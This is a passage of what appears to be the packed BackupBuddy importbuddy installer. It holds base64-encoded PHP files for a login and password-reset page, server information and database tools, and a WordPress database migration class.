zc3dvcmQgUmVzZXQ8L2gyPgoJCQlBZnRlciBzdWJtaXR0aW5nIHlvdSB3aWxsIG5lZWQgdG8gZWRpdCB5b3VyIGltcG9ydGJ1ZGR5LnBocCBmaWxlIG9uIHRoaXMgc2VydmVyIGFuZCBlZGl0IGEgbGluZSBvZiBjb2RlIHdpdGggYSBoYXNoZWQgdmVyc2lvbiBvZiB0aGlzIHBhc3N3b3JkLgoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9Im1vZGFsX2NvbnRlbnQiPgoKCgkJCTxkaXYgY2xhc3M9ImZvcmdvdHBhc3NfZm9ybV93cmFwIj4KCgoJCQkJPGNlbnRlcj4KCQkJCQk8Zm9ybSBpZD0iY3JlYXRlcGFzc19mb3JtIj4KCQkJCQkJPHRhYmxlPgoJCQkJCQkJPHRyPgoJCQkJCQkJCTx0ZD5OZXcgUGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9Im5ld3Bhc3N3b3JkIiBpZD0ibmV3X3Bhc3MiPjwvdGQ+CgkJCQkJCQk8L3RyPgoJCQkJCQkJPHRyPgoJCQkJCQkJCTx0ZD5Db25maXJtIFBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJuZXdwYXNzd29yZF9jb25maXJtIiBpZD0ibmV3X3Bhc3NfY29uZmlybSI+PC90ZD4KCQkJCQkJCTwvdHI+CgkJCQkJCTwvdGFibGU+CgkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ1dHRvbi1wcmltYXJ5Ij4KCQkJCQk8L2Zvcm0+CgkJCQkJPHNwYW4gY2xhc3M9ImNyZWF0ZXBhc3NfbG9hZGluZyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IG1hcmdpbi1sZWZ0OiAxMHB4OyI+PGltZyBzcmM9Ijw/cGhwIGVjaG8gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKTsgPz4vaW1hZ2VzL2xvYWRpbmcuZ2lmIiBhbHQ9IidMb2FkaW5nLi4uIiB0aXRsZT0iTG9hZGluZy4uLiIgd2lkdGg9IjE2IiBoZWlnaHQ9IjE2IiBzdHlsZT0idmVydGljYWwtYWxpZ246IC0zcHg7Ij48L3NwYW4+CgkJCQk8L2NlbnRlcj4KCgkJCTwvZGl2PgoKCgkJCTxkaXYgY2xhc3M9ImZvcmdvdHBhc3NfZmluaXNoX3dyYXAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQlUbyBlbmFibGUgdGhpcyBuZXcgcGFzc3dvcmQgZm9yIGFjY2Vzc2luZyBpbXBvcnRidWRkeS5waHAgb3BlbiBpbXBvcnRidWRkeS5waHAgaW4gYSB0ZXh0IGVkaXRvciBhbmQgZmluZCBsaW5lIDEzIHRoYXQgbG9va3MgbGlrZSB0aGUgZm9sbG93aW5nLCByZXBsYWNpbmcgdGhlIFgncyBpbiB0aGlzIGxpbmUgd2l0aCB0aGUgcGFzc3dvcmQgaGFzaCBjb2RlIGJlbG93LiBNYWtlIHN1cmUgeW91IHJlLXNhdmUgdGhpcyBlZGl0ZWQgdmVyc2lvbiB0byB0aGUgc2VydmVyIHRoZW4gcmVmcmVzaCB0aGlzIHBhZ2UgdG8gbG9nIGluLjxicj48YnI+CgoJCQkJPGk+ZGVmaW5lKCAnUEJfUEFTU1dPUkQnLCAnWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFgnICk7PC9pPjxicj48YnI+CgoJCQkJPGI+TmV3IHBhc3N3b3JkIGhhc2ggY29kZTo8L2I+PGJyPgoJCQkJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3Jnb3RwYXNzX2ZpbmlzaF9oYXNoIiB2YWx1ZT0iIiByZWFkb25seT0icmVhZG9ubHkiIHNpemU9IjQwIj4KCQkJPC9kaXY+CgoKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4K
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/pages/login.php,importbuddy/controllers/pages/login.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/pages/server_tools.php,importbuddy/controllers/pages/server_tools.php
PD9waHAKaWYgKCAhZGVmaW5lZCggJ1BCX0lNUE9SVEJVRERZJyApICkgeyAvLyBOT1QgSU4gSU1QT1JUQlVERFk6Cgl3cF9lbnF1ZXVlX3NjcmlwdCggJ3RoaWNrYm94JyApOwoJd3BfcHJpbnRfc2NyaXB0cyggJ3RoaWNrYm94JyApOwoJd3BfcHJpbnRfc3R5bGVzKCAndGhpY2tib3gnICk7Cgk/PgoJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCSNiYWNrdXBidWRkeS1tZXRhLWxpbmstd3JhcCBhLnNob3ctc2V0dGluZ3MgewoJCWZsb2F0OiByaWdodDsKCQltYXJnaW46IDAgMCAwIDZweDsKCX0KCSNzY3JlZW4tbWV0YS1saW5rcyAjYmFja3VwYnVkZHktbWV0YS1saW5rLXdyYXAgYSB7CgkJYmFja2dyb3VuZDogbm9uZTsKCX0KCSNzY3JlZW4tbWV0YS1saW5rcyAjYmFja3VwYnVkZHktbWV0YS1saW5rLXdyYXAgYTphZnRlciB7CgkJY29udGVudDogJyc7CgkJbWFyZ2luLXJpZ2h0OiA1cHg7Cgl9Cgk8L3N0eWxlPgoKCTw/cGhwCgoJcGJfYmFja3VwYnVkZHk6OmxvYWRfc2NyaXB0KCAnYWRtaW4uanMnICk7CgkKCQoJCglwYl9iYWNrdXBidWRkeTo6JHVpLT50aXRsZSggX18oICdTZXJ2ZXIgVG9vbHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJYmFja3VwYnVkZHlfY29yZTo6dmVyc2lvbnNfY29uZmlybSgpOwoJCgkkZGVmYXVsdF90YWIgPSAwOwoJaWYgKCBpc19udW1lcmljKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3RhYicgKSApICkgewoJCSRkZWZhdWx0X3RhYiA9IHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAndGFiJyApOwoJfQoJCgllY2hvICcnOwoJcGJfYmFja3VwYnVkZHk6OiR1aS0+c3RhcnRfdGFicygKCQknZ2V0dGluZ19zdGFydGVkJywKCQlhcnJheSgKCQkJYXJyYXkoCgkJCQkndGl0bGUnCQk9PgkJX18oICdTZXJ2ZXInLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCQkJCSdzbHVnJwkJPT4JCSdzZXJ2ZXInLAoJCQkpLAoJCQlhcnJheSgKCQkJCSd0aXRsZScJCT0+CQlfXyggJ0RhdGFiYXNlJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkJCQknc2x1ZycJCT0+CQknZGF0YWJhc2UnLAoJCQkpLAoJCQlhcnJheSgKCQkJCSd0aXRsZScJCT0+CQlfXyggJ1NpdGUgU2l6ZSBNYXBzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkJCQknc2x1ZycJCT0+CQknZmlsZXMnLAoJCQkpLAoJCQlhcnJheSgKCQkJCSd0aXRsZScJCT0+CQlfXyggJ1dvcmRQcmVzcyBTY2hlZHVsZXMgKENyb24pJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkJCQknc2x1ZycJCT0+CQknY3JvbicsCgkJCSksCgkJKSwKCQknd2lkdGg6IDEwMCU7JywKCQl0cnVlLAoJCSRkZWZhdWx0X3RhYgoJKTsKCQoJCgkKCXBiX2JhY2t1cGJ1ZGR5OjokdWktPnN0YXJ0X3RhYiggJ3NlcnZlcicgKTsKCQkKCQlyZXF1aXJlX29uY2UoICdzZXJ2ZXJfaW5mby9zZXJ2ZXIucGhwJyApOwoJCQoJCQoJCXJlcXVpcmVfb25jZSggJ3NlcnZlcl9pbmZvL3Blcm1pc3Npb25zLnBocCcgKTsKCQkKCQkKCQkkd3BfdXBsb2FkX2RpciA9IHdwX3VwbG9hZF9kaXIoKTsKCQkkd3Bfc2V0dGluZ3MgPSBhcnJheSgpOwoJCQoJCWlmICggaXNzZXQoICR3cF91cGxvYWRfZGlyWydwYXRoJ10gKSApIHsKCQkJJHdwX3NldHRpbmdzW10gPSBhcnJheSggJ1VwbG9hZCBGaWxlIFBhdGgnLCAkd3BfdXBsb2FkX2RpclsncGF0aCddLCAnd3BfdXBsb2FkX2RpcigpJyApOwoJCX0KCQlpZiAoIGlzc2V0KCAkd3BfdXBsb2FkX2RpclsndXJsJ10gKSApIHsKCQkJJHdwX3NldHRpbmdzW10gPSBhcnJheSggJ1VwbG9hZCBVUkwnLCAkd3BfdXBsb2FkX2RpclsndXJsJ10sICd3cF91cGxvYWRfZGlyKCknICk7CgkJfQoJCWlmICggaXNzZXQoICR3cF91cGxvYWRfZGlyWydzdWJkaXInXSApICkgewoJCQkkd3Bfc2V0dGluZ3NbXSA9IGFycmF5KCAnVXBsb2FkIFN1YmRpcmVjdG9yeScsICR3cF91cGxvYWRfZGlyWydzdWJkaXInXSwgJ3dwX3VwbG9hZF9kaXIoKScpOwoJCX0KCQlpZiAoIGlzc2V0KCAkd3BfdXBsb2FkX2RpclsnYmFzZXVybCddICkgKSB7CgkJCSR3cF9zZXR0aW5nc1tdID0gYXJyYXkoICdVcGxvYWQgQmFzZSBVUkwnLCAkd3BfdXBsb2FkX2RpclsnYmFzZXVybCddLCAnd3BfdXBsb2FkX2RpcigpJyApOwoJCX0KCQlpZiAoIGlzc2V0KCAkd3BfdXBsb2FkX2RpclsnYmFzZWRpciddICkgKSB7CgkJCSR3cF9zZXR0aW5nc1tdID0gYXJyYXkoICdVcGxvYWQgQmFzZSBEaXJlY3RvcnknLCAkd3BfdXBsb2FkX2RpclsnYmFzZWRpciddLCAnd3BfdXBsb2FkX2RpcigpJyApOwoJCX0KCQkkd3Bfc2V0dGluZ3NbXSA9IGFycmF5KCAnU2l0ZSBVUkwnLCBzaXRlX3VybCgpLCAnc2l0ZV91cmwoKScgKTsKCQkkd3Bfc2V0dGluZ3NbXSA9IGFycmF5KCAnSG9tZSBVUkwnLCBob21lX3VybCgpLCAnaG9tZV91cmwoKScgKTsKCQkkd3Bfc2V0dGluZ3NbXSA9IGFycmF5KCAnV29yZFByZXNzIFJvb3QgUGF0aCcsIEFCU1BBVEgsICdBQlNQQVRIJyApOwoJCQoJCS8vIE11bHRpc2l0ZSBleHRyYXM6CgkJJHdwX3NldHRpbmdzX211bHRpc2l0ZSA9IGFycmF5KCk7CgkJaWYgKCBpc19tdWx0aXNpdGUoKSApIHsKCQkJJHdwX3NldHRpbmdzW10gPSBhcnJheSggJ05ldHdvcmsgU2l0ZSBVUkwnLCBuZXR3b3JrX3NpdGVfdXJsKCksICduZXR3b3JrX3NpdGVfdXJsKCknICk7CgkJCSR3cF9zZXR0aW5nc1tdID0gYXJyYXkoICdOZXR3b3JrIEhvbWUgVVJMJywgbmV0d29ya19ob21lX3VybCgpLCAnbmV0d29ya19ob21lX3VybCgpJyApOwoJCX0KCQkKCQkkd3Bfc2V0dGluZ3NbXSA9IGFycmF5KCAnQmFja3VwQnVkZHkgbG9jYWwgc3RvcmFnZScsIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEJhY2t1cERpcmVjdG9yeSgpLCAnQmFja3VwQnVkZHkgU2V0dGluZ3MnICk7CgkJJHdwX3NldHRpbmdzW10gPSBhcnJheSggJ0JhY2t1cEJ1ZGR5IHRlbXBvcmFyeSBmaWxlcycsIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldFRlbXBEaXJlY3RvcnkoKSwgJ1VwbG9hZCBCYXNlICsgQmFja3VwQnVkZHknICk7CgkJJHdwX3NldHRpbmdzW10gPSBhcnJheSggJ0JhY2t1cEJ1ZGR5IGxvZ3MnLCBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSwgJ1VwbG9hZCBCYXNlICsgQmFja3VwQnVkZHknICk7CgkJCgkJLy8gRGlzcGxheSBXUCBzZXR0aW5ncy4uCgkJcGJfYmFja3VwYnVkZHk6OiR1aS0+bGlzdF90YWJsZSgKCQkJJHdwX3NldHRpbmdzLAoJCQlhcnJheSgKCQkJCSdhY3Rpb24nCQkJCQk9PglwYl9iYWNrdXBidWRkeTo6cGFnZV91cmwoKSwKCQkJCSdjb2x1bW5zJwkJCQkJPT4JYXJyYXkoCgkJCQkJCQkJCQkJCQlfXyggJ1VSTHMgJiBQYXRocycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJCQkJCQkJCQkJX18oICdWYWx1ZScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJCQkJCQkJCQkJX18oICdPYnRhaW5lZCB2aWEnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCQkJCQkJCQkJCQkJKSwKCQkJCSdjc3MnCQkJCQkJPT4JCSd3aWR0aDogMTAwJTsnLAoJCQkpCgkJKTsKCQkKCQkKCXBiX2JhY2t1cGJ1ZGR5OjokdWktPmVuZF90YWIoKTsKCQoJCgkKCS8vIFRoaXMgcGFnZSBjYW4gdGFrZSBhIGJpdCB0byBydW4uCgkvLyBSdW5zIEFGVEVSIHNlcnZlciBpbmZvcm1hdGlvbiBpcyBkaXNwbGF5ZWQgc28gd2UgY2FuIHZpZXcgdGhlIGRlZmF1bHQgbGltaXRzIGZvciB0aGUgc2VydmVyLgoJcGJfYmFja3VwYnVkZHk6OnNldF9ncmVlZHlfc2NyaXB0X2xpbWl0cygpOwoJCgkKCQoJcGJfYmFja3VwYnVkZHk6OiR1aS0+c3RhcnRfdGFiKCAnZGF0YWJhc2UnICk7CgkJCgkJcmVxdWlyZV9vbmNlKCAnc2VydmVyX2luZm8vZGF0YWJhc2UucGhwJyApOwoJCWVjaG8gJzxicj48YnI+PGEgbmFtZT0iZGF0YWJhc2VfcmVwbGFjZSI+PC9hPic7CgkJZWNobyAnPGRpdiBjbGFzcz0icGJfaHRpdGxlIj4nIC4gJ0FkdmFuY2VkOiAnIC4gX18oICdEYXRhYmFzZSBNYXNzIFRleHQgUmVwbGFjZW1lbnQnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc8L2Rpdj48YnI+JzsKCQlwYl9iYWNrdXBidWRkeTo6bG9hZF92aWV3KCAnX3NlcnZlcl90b29scy1kYXRhYmFzZV9yZXBsYWNlJyApOwoJCQoJcGJfYmFja3VwYnVkZHk6OiR1aS0+ZW5kX3RhYigpOwoJCgkKCQoJcGJfYmFja3VwYnVkZHk6OiR1aS0+c3RhcnRfdGFiKCAnZmlsZXMnICk7CgkJCgkJcmVxdWlyZV9vbmNlKCAnc2VydmVyX2luZm8vc2l0ZV9zaXplLnBocCcgKTsKCQkKCXBiX2JhY2t1cGJ1ZGR5OjokdWktPmVuZF90YWIoKTsKCQoJCgkKCXBiX2JhY2t1cGJ1ZGR5OjokdWktPnN0YXJ0X3RhYiggJ2Nyb24nICk7CgkJCgkJcmVxdWlyZV9vbmNlKCAnc2VydmVyX2luZm8vY3Jvbi5waHAnICk7CgkJCglwYl9iYWNrdXBidWRkeTo6JHVpLT5lbmRfdGFiKCk7CgkKCQoJZWNobyAnPGJyIHN0eWxlPSJjbGVhcjogYm90aDsiPjxicj48YnI+JzsKCXBiX2JhY2t1cGJ1ZGR5OjokdWktPmVuZF90YWJzKCk7CgkKCQoJCgkvLyBIYW5kbGVzIHRoaWNrYm94IGF1dG8tcmVzaXppbmcuIEtlZXAgYXQgYm90dG9tIG9mIHBhZ2UgdG8gYXZvaWQgaXNzdWVzLgoJaWYgKCAhd3Bfc2NyaXB0X2lzKCAnbWVkaWEtdXBsb2FkJyApICkgewoJCXdwX2VucXVldWVfc2NyaXB0KCAnbWVkaWEtdXBsb2FkJyApOwoJCXdwX3ByaW50X3NjcmlwdHMoICdtZWRpYS11cGxvYWQnICk7Cgl9CgkKfSBlbHNlIHsgLy8gSU5TSURFIElNUE9SVEJVRERZOgoJaWYgKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3NraXBfc2VydmVyaW5mbycgKSA9PSAnJyApIHsgLy8gR2l2ZSBhIHdvcmthcm91bmQgdG8gc2tpcCB0aGlzLgoJCXJlcXVpcmVfb25jZSggJ3NlcnZlcl9pbmZvL3NlcnZlci5waHAnICk7Cgl9IGVsc2UgewoJCWVjaG8gJ3tTa2lwcGluZyBTZXJ2ZXIgSW5mby4gc2VjdGlvbiBiYXNlZCBvbiBxdWVyeXN0cmluZy59JzsKCX0KfQo=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/pages/server_tools.php,importbuddy/controllers/pages/server_tools.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/pages/serverinfo.php,importbuddy/controllers/pages/serverinfo.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCgpyZXF1aXJlX29uY2UoIEFCU1BBVEggLidpbXBvcnRidWRkeS92aWV3cy9faGVhZGVyLnBocCcgKTsKPz4KPHNjcmlwdD5qUXVlcnkoICcjcGFnZVRpdGxlJyApLmh0bWwoICdTZXJ2ZXIgSW5mb3JtYXRpb24nICk7PC9zY3JpcHQ+Cgo8ZGl2IGNsYXNzPSJ3cmFwIj4KCTw/cGhwCglnbG9iYWwgJGRldGVjdGVkX21heF9leGVjdXRpb25fdGltZTsKCXJlcXVpcmVfb25jZSggJ3NlcnZlcl90b29scy5waHAnICk7Cgk/Pgo8L2Rpdj4KCjw/cGhwCnJlcXVpcmVfb25jZSggQUJTUEFUSCAuJ2ltcG9ydGJ1ZGR5L3ZpZXdzL19mb290ZXIucGhwJyApOw==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/pages/serverinfo.php,importbuddy/controllers/pages/serverinfo.php
###PACKDATA,FILE_START,/classes/_migrate_database.php,importbuddy/classes/_migrate_database.php
PD9waHAKLyoqCiAqICBIYW5kbGVzIGFsbCBTUUwgZGF0YSBtaWdyYXRpb24gZm9yIGJvdGggaW1wb3J0YnVkZHkgYW5kIG11bHRpc2l0ZSBpbXBvcnRpbmcuCiAqICBIYW5kbGVzIHVwZGF0aW5nIHBhdGhzLCBVUkxzLCBldGMuCiAqCiAqICBSRVFVSVJFTUVOVFM6CiAqCiAqICAxKSBTZXQgdXAgdGhlIHZhcmlhYmxlICR0aGlzLT5kZXN0aW5hdGlvblR5cGUgdG8gdGhlIGRlc3RpbmF0aW9uIHR5cGUgaWYgbm9uLXN0YW5kYWxvbmUgKGRlZmF1bHQpIG9yIE11bHRpc2l0ZSBOZXR3b3JrIChhdXRvLWRldGVjdGVkKS4gVmFsaWQgdmFsdWVzOiBzdGFuZGFsb25lLCBtdWx0aXNpdGVfaW1wb3J0LCBtdWx0aXNpdGVfbmV0d29yawogKiAgMikgTXlzcWwgc2hvdWxkIGFscmVhZHkgYmUgY29ubmVjdGVkLgogKiAgMykgJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXSBzaG91bGQgYmUgaW5pdGlhbGl6ZWQgd2l0aCB0aGUgREFUIGZpbGUgYXJyYXkuCiAqICA0KSBJZiBtaWdyYXRpbmcgYSBuZXR3b3JrIC0+IG5ldHdvcmsgdGhlbiBzZXQgdXAgdGhlIHZhcmlhYmxlICR0aGlzLT5uZXR3b3JrUHJlZml4IHRvIGJlIHRoZSBkYXRhYmFzZSBwcmVmaXggb2YgdGhlIG5ldHdvcmsuIE5lZWRlZCB0byBhY2Nlc3MgdXNlcnMgdGFibGVzLgogKiAgNSkgSWYgbXVsdGlzaXRlX2ltcG9ydCBpcyBERVNUSU5BVElPTiB0aGVuICR3cF91cGxvYWRfZGlyICh1cGxvYWRfcGF0aCBvcHRpb24pLCAkdGhpcy0+cmVzdG9yZURhdGFbJ3VwbG9hZF91cmwnXSAoZmlsZXVwbG9hZF91cmwgb3B0aW9uKSBtdXN0IGJlIHNldC4KICoKICogIFVTRUQgQlk6CiAqCiAqICAxKSBJbXBvcnRCdWRkeQogKiAgMikgTXVsdGlzaXRlIEltcG9ydCAvIFJlc3RvcmUKICoKICogIE5PVEVTOgogKgogKiAgLSBFeGFtcGxlIGluc3RhbnRpYXRpb246ICRtaWdyYXRlID0gbmV3IGJhY2t1cGJ1ZGR5X21pZ3JhdGVEQiggJ3N0YW5kYWxvbmUnLCAkdGhpcy0+X3N0YXRlICk7CiAqICAtIGRicmVwbGFjZSBjbGFzcyBpbnRlbGxpZ2VudGx5IGlnbm9yZXMgcmVwbGFjaW5nIHZhbHVlcyB3aXRoIGlkZW50aWNhbCB2YWx1ZXMgZm9yIHBlcmZvcm1hbmNlLgogKgogKiAgQHNpbmNlIDEuMC4xCiAqICBAYXV0aG9yIER1c3RpbiBCb2x0b24KICogIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKZ2xvYmFsICR3cGRiOwoKaWYgKCBpc3NldCggJGRlc3RpbmF0aW9uX3R5cGUgKSAmJiAnbXVsdGlzaXRlX2ltcG9ydCcgPT0gJGRlc3RpbmF0aW9uX3R5cGUgKSB7IC8vIE1VTFRJU0lURSBJTVBPUlQuCgoJJHN0YXRlID0gYXJyYXkoCgkJJ2RhdCcgICAgICAgICAgICAgID0+IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGF0X2ZpbGUnXSwKCQknbWF4RXhlY3V0aW9uVGltZScgPT4gMzAsCgkJJ3NpdGV1cmwnICAgICAgICAgID0+ICRkZXN0aW5hdGlvbl9zaXRldXJsLAoJCSdob21ldXJsJyAgICAgICAgICA9PiAkZGVzdGluYXRpb25faG9tZSwKCQkndXBsb2FkX3VybCcgICAgICAgPT4gJycsIC8vIE1TIHJlbGF0ZWQgc3R1ZmYuCgkJJ2RhdGFiYXNlU2V0dGluZ3MnID0+IGFycmF5KAoJCQkncHJlZml4JyAgICAgICAgICAgICAgICAgICAgPT4gJG11bHRpc2l0ZV9uZXR3b3JrX2RiX3ByZWZpeCwKCQkJJ21pZ3JhdGVEYXRhYmFzZUJydXRlRm9yY2UnID0+IHRydWUsCgkJKSwKCSk7CgoJJG1pZ3JhdGUgPSBuZXcgYmFja3VwYnVkZHlfbWlncmF0ZURCKCAkZGVzdGluYXRpb25fdHlwZSwgJHN0YXRlLCAkbXVsdGlzaXRlX25ldHdvcmtfZGJfcHJlZml4ICk7Cn0KCi8qKgogKiBNaWdyYXRlIERCIENsYXNzIGZvciBNdWx0aXNpdGUKICovCmNsYXNzIGJhY2t1cGJ1ZGR5X21pZ3JhdGVEQiB7CgoJLyoqCgkgKiBOdW1iZXIgb2Ygc2Vjb25kcyB0byBmdWRnZSB1cCB0aGUgdGltZSBlbGFwc2VkIHRvIGdpdmUgYSBsaXR0bGUgd2lnZ2xlIHJvb20gc28gd2UgZG9uJ3QgYWNjaWRlbnRseSBoaXQgdGhlIGVkZ2UgYW5kIHRpbWUgb3V0LgoJICovCgljb25zdCBUSU1FX1dJR0dMRV9ST09NID0gMTsKCgkvKioKCSAqIE1pY3JvdGltZSBtaWdyYXRpb24gc3RhcnRlZC4KCSAqCgkgKiBAdmFyIGludAoJICovCgl2YXIgJHN0YXJ0VGltZTsKCgkvKioKCSAqIEFycmF5IG9mIFJlc3RvcmUgRGF0YQoJICoKCSAqIEB2YXIgYXJyYXkKCSAqLwoJdmFyICRyZXN0b3JlRGF0YTsKCgkvKioKCSAqIFJlc3RvcmUgVHlwZQoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXZhciAkc291cmNlVHlwZTsKCgkvKioKCSAqIERlc3RpbmF0aW9uIFR5cGUKCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCgl2YXIgJGRlc3RpbmF0aW9uVHlwZTsKCgkvKioKCSAqIE5ldHdvcmsgUHJlZml4CgkgKgoJICogQHZhciBzdHJpbmcKCSAqLwoJdmFyICRuZXR3b3JrUHJlZml4OwoKCS8qKgoJICogUHJlZml4IHRvIHVzZS4gRGVmYXVsdHMgdG8gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXRhYmFzZVNldHRpbmdzJ11bJ3ByZWZpeCddLiBBbGxvd3Mgb3ZlcnJpZGluZy4KCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCgl2YXIgJG92ZXJyaWRlUHJlZml4OwoKCS8qKgoJICogRmluYWwgcHJlZml4IHRvIHVzZS4gSWYgbm90IG92ZXJyaWRpbmcgdGhlbiB0aHMgd2lsbCBiZSB0aGUgc2FtZSBhcyB0aGUgJG92ZXJyaWRlUHJlZml4LgoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXZhciAkZmluYWxQcmVmaXg7CgoJLyoqCgkgKiBBcnJheSBvZiBvbGQgVVJMcwoJICoKCSAqIEB2YXIgYXJyYXkKCSAqLwoJdmFyICRvbGRVUkxzOwoKCS8qKgoJICogQXJyYXkgb2YgbmV3IFVSTHMKCSAqCgkgKiBAdmFyIGFycmF5CgkgKi8KCXZhciAkbmV3VVJMczsKCgkvKioKCSAqIERhdGFiYXNlIHN0cmluZyByZXBsYWNlIHZhbHVlcwoJICoKCSAqIEB2YXIgYXJyYXkKCSAqLwoJdmFyICRvbGRGdWxsUmVwbGFjZTsKCgkvKioKCSAqIERhdGFiYXNlIG5ldyBzdHJpbmcgcmVwbGFjZSB2YWx1ZXMKCSAqCgkgKiBAdmFyIGFycmF5CgkgKi8KCXZhciAkbmV3RnVsbFJlcGxhY2U7CgoJLyoqCgkgKiBSZWFsIE5ldHdvcmsgVXBsb2FkIFVSTAoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXZhciAkbmV0d29ya1VwbG9hZFVSTFJlYWw7CgoJLyoqCgkgKiBFeGNsdWRlIHRhYmxlcwoJICoKCSAqIEB2YXIgYXJyYXkKCSAqLwoJdmFyICRicnV0ZWZvcmNlRXhjbHVkZWRUYWJsZXM7CgoKCS8qKgoJICogU3RhcnRzIGEgRGF0YWJhc2UgTWlncmF0aW9uCgkgKgoJICogQHBhcmFtIHN0cmluZyAkZGVzdGluYXRpb25UeXBlICBWYWxpZCB2YWx1ZXM6IHN0YW5kYWxvbmUsIG11bHRpc2l0ZV9pbXBvcnQsIG11bHRpc2l0ZV9uZXR3b3JrLgoJICogQHBhcmFtIGFycmF5ICAkcmVzdG9yZURhdGEgICAgICBBcnJheSBvZiByZXN0b3JlIHZhbHVlcy4KCSAqIEBwYXJhbSBzdHJpbmcgJG5ldHdvcmtQcmVmaXggICAgTmV0d29yayBEYXRhYmFzZSBwcmVmaXguCgkgKiBAcGFyYW0gc3RyaW5nICRvdmVycmlkZVByZWZpeCAgIE92ZXJycmlkZSBEYXRhYmFzZSBQcmVmaXguCgkgKi8KCWZ1bmN0aW9uIF9fY29uc3RydWN0KCAkZGVzdGluYXRpb25UeXBlLCAkcmVzdG9yZURhdGEsICRuZXR3b3JrUHJlZml4ID0gJycsICRvdmVycmlkZVByZWZpeCA9ICcnICkgewoKCQkkdGhpcy0+c3RhcnRUaW1lID0gbWljcm90aW1lKCB0cnVlICk7IC8vIFN0YXJ0IHRyYWNraW5nIGZvciBlbGFwc2VkIHRpbWUuCgoJCSR0aGlzLT5kZXN0aW5hdGlvblR5cGUgPSAkZGVzdGluYXRpb25UeXBlOwoJCSR0aGlzLT5yZXN0b3JlRGF0YSAgICAgPSAmJHJlc3RvcmVEYXRhOwoKCQlpZiAoICcnID09ICRvdmVycmlkZVByZWZpeCApIHsgLy8gTm90IG92ZXJyaWRpbmcgcHJlZml4LgoJCQkkdGhpcy0+b3ZlcnJpZGVQcmVmaXggPSAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdGFiYXNlU2V0dGluZ3MnXVsncHJlZml4J107CgkJCSR0aGlzLT5maW5hbFByZWZpeCAgICA9ICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0YWJhc2VTZXR0aW5ncyddWydwcmVmaXgnXTsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVXNpbmcgbm9ybWFsIG1vZGUgZGF0YWJhc2UgcHJlZml4IGJhc2VkIG9uIHNldHRpbmdzOiBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICdgLicgKTsKCQl9IGVsc2UgeyAvLyBPdmVycmlkaW5nIHByZWZpeC4KCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4ID0gJG92ZXJyaWRlUHJlZml4OwoJCQkkdGhpcy0+ZmluYWxQcmVmaXggICAgPSAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdGFiYXNlU2V0dGluZ3MnXVsncHJlZml4J107CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1VzaW5nIG92ZXJyaWRlIGRhdGFiYXNlIHByZWZpeDogYCcgLiAkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAnYC4gRmluYWwgcHJlZml4OiBgJyAuICR0aGlzLT5maW5hbFByZWZpeCAuICdgLicgKTsKCQl9CgoJCSR0aGlzLT5uZXR3b3JrUHJlZml4ID0gJG5ldHdvcmtQcmVmaXg7CgkJaWYgKCAnJyA9PSAkbmV0d29ya1ByZWZpeCApIHsKCQkJJHRoaXMtPm5ldHdvcmtQcmVmaXggPSAkdGhpcy0+b3ZlcnJpZGVQcmVmaXg7CgkJfQoKCQlw